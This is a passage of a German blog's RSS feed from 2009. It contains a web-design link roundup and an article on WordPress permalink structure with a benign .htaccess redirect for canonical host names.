<p>Das ist deutlich besser als meine PHP-Variante.</p>
<h2>Mehr Lektüre zum Thema</h2>
<ul>
<li><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">.htaccess: Angriffe sehen und blockieren</a></li>
<li><a href="http://toscho.de/2009/blocken-mit-htaccess/">Ungebetene Gäste mit .htaccess blocken</a></li>
<li><a href="http://toscho.de/2009/website-gehackt/">Website gehackt – und nun?</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Designlinks 4</title>
		<link>http://toscho.de/2009/designlinks-4/</link>
		<comments>http://toscho.de/2009/designlinks-4/#comments</comments>
		<pubDate>Wed, 13 May 2009 18:33:06 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Markup]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1033</guid>
		<description><![CDATA[Das Redesign der Denic, Update für Safari, Microformate und RDFa bei Google, Interview mit Ian Hickson und David Naber zu Accesskeys.]]></description>
			<content:encoded><![CDATA[<ul>
<li>Die <a href="http://denic.de/">Denic</a> hat ihre Website aktualisiert. Links vorher – ich habe bei archive.org nur eine <a href="http://web.archive.org/web/20071029000126/www.denic.de/de/">Fassung von 2007</a> gefunden – rechts jetzt:<br />
<img src="http://img.toscho.de/screenshots/websites/denic-2007.png" alt="Screenshot: denic.de 2007" class="border" /><img src="http://img.toscho.de/screenshots/websites/denic-2009.png" alt="Screenshot: denic.de 2009" class="border" /></p>
<p>Man gibt sich jetzt dreispaltig, und in der Kopfgrafik steht der seltsame Spruch: <i>»Moderne Kommunikation schreibt sich mit .de«</i> – hatten die kein Geld für einen Texter? </p>
<p>Alle Seiten sind mit und ohne www-Präfix erreichbar. Ohne Umleitung auf eine <a href="http://schneegans.de/web/kanonische-adressen/">kanonische Adresse</a>. Die Domainsuche hat jetzt eine neue Adresse; die alte leitet darauf nicht etwa um, sondern wirft nur eine lieblose Fehlermeldung aus.<br />
Das mit den <a href="http://www.w3.org/Provider/Style/URI">coolen URLs</a> müssen sie noch lernen …</p>
<p>Die breitere rechte Navigation gefällt mir besser, auch ob ihres helleren Hintergrundes, die jedem Punkt vorangestellte »1.« weniger. Ein Blick in den Quelltext verrät neben der Umstellung von HTML auf XHTML (die ich lieber nicht kommentiere) auch den Einsatz von Typo3. Irgend eines der vielen Scripte verhindert, daß die Seite jemals fertig geladen wird.</p>
<p>Fazit: Der Relaunch ist noch nicht abgeschlossen. Da sehen wir später nochmal drauf. [<a href="http://toscho.de/thema/webdesign/">Webdesign</a>]</li>
<li>Apple hat ein Sicherheitsupdate für Safari 4 Beta herausgebracht: <a href="http://support.apple.com/kb/HT3551">Changelog</a> und <a href="http://www.apple.com/de/safari/download/">Download</a>. Wie üblich kriegt man den Apple-Updater ins System gedrückt – auch wenn man ihn ausdrücklich <em>nicht</em> haben will:<br />
<img src="http://img.toscho.de/screenshots/software/safari-4beta-installer-options.png" alt="Screenshot: Installation ohne Updater" width="504" height="379" /><br />
<img src="http://img.toscho.de/screenshots/software/apple-updater.png" alt="Screenshot: Updater wird installiert" width="504" height="333" /></p>
<p>Die unerwünschte Software landet nicht einmal im angegebenen Verzeichnis, sondern schreibt sich woanders hin. Diese Unverschämtheit ist einer wesentlichen der Gründe, warum ich von Apple nichts kaufe … [<a href="http://toscho.de/thema/browser/">Browser</a>]</li>
<li><a href="http://googlewebmastercentral.blogspot.com/2009/05/introducing-rich-snippets.html">Google versteht jetzt RDFa und Microformats</a>. <a href="http://www.w3.org/TR/xhtml-rdfa-primer/">RDFa</a> hat gegenüber den <a href="http://microformats.org/">Microformaten</a> den Vorteil, daß man nicht das Attribut <code>class</code> mißbrauchen muß, und den Nachteil, daß es derzeit nur in XHTML eingebettet werden darf – <em>damit</em> aber habe ich abgeschlossen. [<a href="http://toscho.de/thema/suchmaschinen/">Suchmaschinen</a>] [<a href="http://toscho.de/thema/markup/">Markup</a>]</li>
<li>Bruce Lawson hat <a href="http://www.webstandards.org/2009/05/13/interview-with-ian-hickson-editor-of-the-html-5-specification/">Ian Hickson zu HTML 5</a> befragt.<br />
<blockquote lang="en"><p>Backwards-compatibility, incremental baby steps, defining error handling. Those are the main philosophies.</p></blockquote>
<p>Hickson schildert sehr anschaulich und zuweilen sogar witzig, wie die Spezifikation entwickelt wird, und warum beispielsweise die DOM API einen Weg hineingefunden hat, RDFa und WAI-ARIA aber (noch) nicht. [<a href="http://toscho.de/thema/markup/">Markup</a>]</li>
<li>David Naber hat seine <a href="http://blog.dnaber.de/2009/verabschiedung_der_accesskeys/">Vorbehalte gegen die Wiedereinführung des Attributes <code>accesskey</code></a> zusammengefaßt. Der Artikel hätte von mir sein können, denn das sehe ich exakt genauso: Accesskeys sind Sache des Lesers, nicht des Autors. Selbst in den wenigen Fällen, in denen Accesskeys sinnvoll sind – Webmail oder ein CMS-Backend – sollte der Nutzer die Wahl haben, ob und wie sie in Aktion treten dürfen.<br />
Überhaupt möchte ich <a href="http://blog.dnaber.de/">Davids Blog</a> hier mal empfehlen: Er tratscht nicht einfach gerade aufkochenden Themen hinterher, sondern analysiert, zeigt handfesten Code und vertritt deutlich seine Position. Damit hebt er sich angenehm von vielen anderen Blogautoren ab. Oh, und gebt ihm bitte mal ein bißchen Feedback, damit er bei der Stange bleibt. [<a href="http://delicious.com/toscho/accessibility">Accessibility</a>] [<a href="http://toscho.de/thema/markup/">Markup</a>]</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/designlinks-4/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Die beste URL-Struktur. Permalinks in WordPress</title>
		<link>http://toscho.de/2009/beste-url-struktur/</link>
		<comments>http://toscho.de/2009/beste-url-struktur/#comments</comments>
		<pubDate>Sun, 22 Feb 2009 15:42:18 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Sprache]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=460</guid>
		<description><![CDATA[Wie eine URL aussehen sollte, die Lesern und Suchmaschinen gefällt. Mit praktischen Tips für WordPress.]]></description>
			<content:encoded><![CDATA[<p>Die meisten Content-Management-Systeme (CMS) erlauben angepaßte <a title="Uniform Resource Locators" href="http://jendryschik.de/wsdev/einfuehrung/grundlagen/technische-fundamente#url">URLs</a>, oft auch <strong>Permalinks</strong> genannt. Die Adresse einer Einzelseite lautet dann beispielsweise <samp>http://example.com/2008/hallo-welt/</samp> statt <samp>http://example.com/?entry=686876654</samp>. Das ist gut, denn Fragezeichen und kryptische Ziffernfolgen haben in einer festen Adresse nichts zu suchen.</p>
<p>Hier möchte ich nun die Gründe für meine Konstruktion der Permalinks diskutieren. Ich orientiere mich am Blog-System <a href="http://wordpress-deutschland.org/">WordPress</a>; die Hinweise gelten aber überwiegend auch für andere Systeme und rein statische Seiten.</p>
<p><strong>Faustregel:</strong> Eine gute Adresse kann ich ohne Buchstabieren am Telefon weitergeben.</p>
<h2>Bedingungen</h2>
<ul>
<li>Suchmaschinen berücksichtigen die einzelnen Bestandteile einer URL, wenn sie mit einem Suchwort übereinstimmen – Google allerdings nur <a href="http://www.sistrix.de/news/832-wie-lang-darf-ein-linktext-sein-teil-iii.html">bis zum achten Trennzeichen</a>.</li>
<li>Jemand verschickt die URL vielleicht per E-Mail, oder er schreibt sie ins <a href="http://www.usenet-abc.de/whatis.htm">Usenet</a>. Hier bricht sie oft um, wenn sie sehr lang ist. Mehr als <strong>72 Zeichen</strong> führen fast sicher zum Umbruch. Dann klickt ein Leser auf das erste Bruchstück und landet auf einer Fehlerseite. Autsch!</li>
<li>Der erste Blick auf eine URL sollte dem Leser schon etwas sagen: <em>Wer</em> hat <em>wo</em> und <em>wann</em> <em>worüber</em> geschrieben?</li>
<li>Wenn jemand die URL schrittweise bis zum nächsten <code>/</code> kürzt (englisch: <i lang="en">URL butchering</i>), also von <samp>http://example.com/2008/hallo-welt/</samp> nach <samp>http://example.com/2008/</samp> geht, dann sollte er immer einen <em>neuen</em> und <em>sinnvollen</em> Inhalt finden. Keine Tagesarchive mit nur einem Eintrag also und erst recht keine Fehlerseite.</li>
<li>Und schließlich sollte die Struktur das eigene CMS nicht ausbremsen. <strong>WordPress</strong> beispielsweise <a href="http://sw-guide.de/2009-02/wordpress-permalinks-und-die-performance/">wird langsam</a>, wenn die Basis mit <code>%category%</code>, <code>%tag%</code>, <code>%author%</code> oder <code>%postname%</code> beginnt.</li>
</ul>
<h2>Lösung</h2>
<p>Die <strong>beste Linkstruktur</strong> sieht für mich so aus:</p>
<ul>
<li><strong>Domainname ohne <code>www</code>.</strong> Das gibt uns hinten ein Suchwort mehr bei Google; außerdem ist die Subdomain <code>www</code> fast immer <em>technisch überflüssig</em>.<br />
Im Webserver <strong>Apache</strong> kann man den Domainnamen per .htaccess und <a href="http://www.modrewrite.de/">mod_rewrite</a> sicherstellen:</p>
<pre><i># Host sichern
# toscho.de anpassen!</i>
&lt;IfModule mod_rewrite.c&gt;
RewriteEngine On
RewriteCond %{HTTP_HOST} !^<code class="string">toscho\.de</code>$
RewriteRule ^(.*)$ http://<code class="string">toscho.de</code>/$1 [L,R=301]
&lt;/IfModule&gt;</pre>
<p>Wer <strong>WordPress</strong> bei <strong>Strato</strong> hostet, braucht hierfür einen <a href="http://schnurpsel.de/wordpress-23-problem-ohne-www-bei-strato-65/">Hack, der deren kaputte Konfiguration umgeht</a>.</li>
<li>Die Basis der Artikel sei <strong>aussagekräftig aber kurz</strong>. Ich benutze nur das Jahr, damit man den Link zeitlich zuordnen kann.<br />
In WordPress: <code>/%year%/%postname%/</code>.<br />
Ein Blog mit mehreren Autoren kann und sollte noch den jeweiligen Autor angeben.<br />
In WordPress: <code>/%year%/%author%/%postname%/</code>.<br />
Mehr Details zum Datum sind nur bei sehr oft aktualisierten Webseiten nötig oder bei Artikeln mit einem engen zeitlichen Kontext.</li>
<li><strong>Sinnvoll gekürzte URLs</strong> für Einzelseiten: Für den Artikel »<a href="http://toscho.de/2009/safari-css-javascript/">Safari in CSS und Javascript ansprechen</a>« habe ich beispielsweise die URL-Form <code>safari-css-javascript</code> benutzt.</li>
<li><strong>Keine »Datei-Endungen«.</strong> Eine URL ist eine Adresse; sie bildet kein Datei-System ab. Zudem verlängert ein angehängtes <code>.html</code> oder gar <code>.php</code> die URL ohne Not.</li>
<li>Ein <strong>Slash <code>/</code> als Endung</strong>. Ein Artikel kann einen Anhang haben, der unter <samp>http://example.com/2008/hallo-welt/anhang/</samp> erreichbar ist. Spätestens dann muß sowieso <samp>http://example.com/2008/hallo-welt/</samp> existieren.</li>
</ul>
<p>Das Ergebnis kann man jetzt in der Adresszeile des Browsers begutachten.<br />
Lesetip: <a href="http://schneegans.de/web/kanonische-adressen/">Christoph Schneegans: Kanonische Adressen</a></p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/beste-url-struktur/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Database Caching using disk: basic
Object Caching 659/777 objects using disk: basic

Served from: toscho.de @ 2012-05-21 15:57:27 -->
